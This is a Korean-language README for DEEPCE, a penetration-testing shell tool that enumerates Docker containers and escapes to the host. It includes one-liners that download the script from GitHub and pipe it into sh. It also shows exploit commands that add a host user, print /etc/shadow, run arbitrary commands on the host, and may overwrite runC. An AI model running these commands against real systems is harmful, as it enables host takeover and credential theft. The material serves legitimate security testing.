
Docker 열거, 권한 상승 및 컨테이너 탈출 (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Docker 열거, 권한 상승 및 컨테이너 탈출 (DEEPCE)
최대한 많은 컨테이너와 호환되도록 DEEPCE는 의존성 없이 순수 sh로 작성되었습니다. 가능한 경우 curl, nmap, nslookup, dig와 같은 추가 도구를 활용하지만, 대부분의 경우 열거 작업이 이러한 도구에 의존하지는 않습니다.
열거 과정에서는 디스크에 아무것도 기록하지 않아야 하지만, 대부분의 익스플로잇은 새 컨테이너를 생성하여 디스크 쓰기를 유발하며, 일부 익스플로잇은 파괴적일 수 있는 runC를 덮어쓰므로 주의하세요!
아래에서 DEEPCE가 사용할 수 있는 열거 항목, 익스플로잇 및 페이로드 목록을 확인하세요. 더 많은 아이디어가 있다면 github에 이슈를 제출해 주세요!
DEEPCE는 다음 원라이너 중 하나를 사용하여 호스트나 컨테이너에 다운로드할 수 있습니다. 팁: 디스크에 기록하지 않으려면 /dev/shm에 다운로드하세요.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
제가 Deepce와 다른 프로젝트에서 하는 일을 좋아하신다면, 이제 제 작업을 직접 후원하실 수 있습니다! 커피 한 잔을 사주시는 것은 단지 제 카페인 수요를 채우는 것뿐만 아니라, 오픈 소스 프로젝트를 개발하고 개선하는 데 더 많은 시간을 할애할 수 있게 도와주는 일입니다. 모든 커피 한 잔은 소중하며 사이버 보안 세계에 더 많은 혁신을 가져다줍니다. 후원해 주셔서 감사합니다 – 저와 오픈 소스 커뮤니티에게 큰 의미가 됩니다!
자세한 내용은 docs 폴더를 참조하세요.

다음은 DEEPCE가 수행하는 열거 항목 목록입니다.
위의 각 익스플로잇에 대해 호스트 시스템을 공격하기 위한 페이로드를 정의할 수 있습니다. 여기에는 다음이 포함됩니다:
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
다음 예제들은 수행할 수 있는 다양한 종류의 익스플로잇과 사용 가능한 페이로드를 보여줍니다.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow의 내용을 출력합니다:./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
디스크에 기록하지 않고 deepce를 다운로드하여 실행할 수 있지만, 인수를 쉽게 설정할 수는 없습니다 (export를 사용하여 변수를 직접 조작하는 것은 가능합니다).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
이 스크립트를 작성하면서 영감을 얻은 훌륭한 컨테이너 열거/탈출 스크립트와 열거 도구들이 몇 가지 있습니다. 하지만 저는 go / ruby 의존성을 설치하거나 정적 바이너리에 의존하지 않기 위해 순수 sh로 작성된 도구가 필요하다고 느꼈습니다. 또한 테스트 중에 알 수 없는 컨테이너 안에 있게 될 수 있으므로, 도커 컨테이너가 무엇인지 파악하기 위해 더 많은 열거를 수행할 수 있기를 원했습니다. 이 스크립트가 열거할 수 있는 항목의 수는, 새로운 것을 추가할 때마다 더 추가할 수 있는 것들이 떠오르면서 통제 불능이 되었습니다.
Docker 보안 팁을 찾는 개발자들을 위한 자료 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
Pull Request, 이슈 및 피드백을 환영합니다.